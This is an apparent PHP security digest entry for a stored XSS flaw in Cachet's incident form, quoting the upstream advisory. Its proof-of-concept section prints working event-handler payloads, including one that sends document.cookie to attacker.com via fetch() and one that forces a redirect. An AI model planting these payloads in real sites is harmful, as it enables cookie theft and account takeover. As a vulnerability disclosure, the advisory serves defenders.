PatchClock

PHP security digest · 20 Oct 2026

Cachet has Stored XSS in Incident Component

Medium CVE-2026-113712

Package
cachethq/cachet
Fixed in
No fixed version yet
Published
Tue 20 Oct 2026, 22:09 Lisbon
Installs on Packagist
725

In plain words

An authenticated attacker can store malicious JavaScript in an incident's Name or Message, which then runs in the browser of anyone viewing the public status page. This could steal session cookies and tokens and lead to account takeover, including administrator accounts.

Affected versions

PackageAffectedFixed in
cachethq/cachet<= 2.4.1no fix yet

Am I affected?

Look for cachethq/cachet and its version in composer.lock. The affected range lists versions <= 2.4.1, but the description names Cachet v3, so the advisory is inconsistent about affected versions. Check whether your project uses incident creation at /dashboard/incidents/, including the Incident Name and Incident Message fields, and displays those incidents on the public status page.

What to do

There is no fixed release yet. Read the advisory for a workaround, and watch cachethq/cachet for a new version.

The advisory's description

Summary

A stored Cross-Site Scripting (XSS) vulnerability exists in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover.

Details

The incident Name and Message fields do not properly sanitize HTML event handler attributes. While <script> tags appear to be filtered, event-based payloads are not blocked.

Affected endpoint: /dashboard/incidents/ Affected fields: Incident Name, Incident Message Affected version: Cachet v3

PoC

  1. Log in as an authenticated user
  2. Navigate to /dashboard/incidents/
  3. Create a new incident
  4. Insert the following payloads in the Name and Message field:

Payload 1 — Confirm XSS execution: <img src=x onerror="alert(1)">

Step 2 — Cookie/token exfiltration: <img src=x onerror="fetch('http://attacker.com/leak?c='+document.cookie)">

Step 3 — Forced redirect to sensitive page: <img src=x onerror="window.location='/dashboard/manage-customization'">

  1. Save the incident
  2. Navigate to the public status page
  3. Payload executes in the victim's browser

Payload 1

<img width="1926" height="1062" alt="Screenshot_2026-05-05_21_19_21" src="https://github.com/user-attachments/assets/3ec50987-332d-4ba2-8fd2-b18ccc8d8f6b" />

Payload 2

<img width="1910" height="525" alt="Screenshot_2026-05-07_12_22_07" src="https://github.com/user-attachments/assets/3b34170d-a2f0-4962-9e20-1fc8e305c589" />

Stored XSS affecting all users who view the public status page.

An attacker can:

  • Confirm script execution via alert popup
  • Steal session cookies and XSRF tokens from authenticated users
  • Silently redirect victims to sensitive pages like /dashboard/manage-customization

This vulnerability could lead to full account takeover of any user who views the status page, including administrators.

Weakness: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). Reported by MAVERICK-VF142.

The advisory

From OSV.dev, which gathers the GitHub Advisory Database, FriendsOfPHP and Drupal security advisories; the summary is theirs. The description, affected versions, weakness and credits are from the GitHub Advisory Database (CC BY 4.0). "In plain words", "Am I affected?" and "If you cannot update yet" are based on that advisory, and checked to name no version it does not.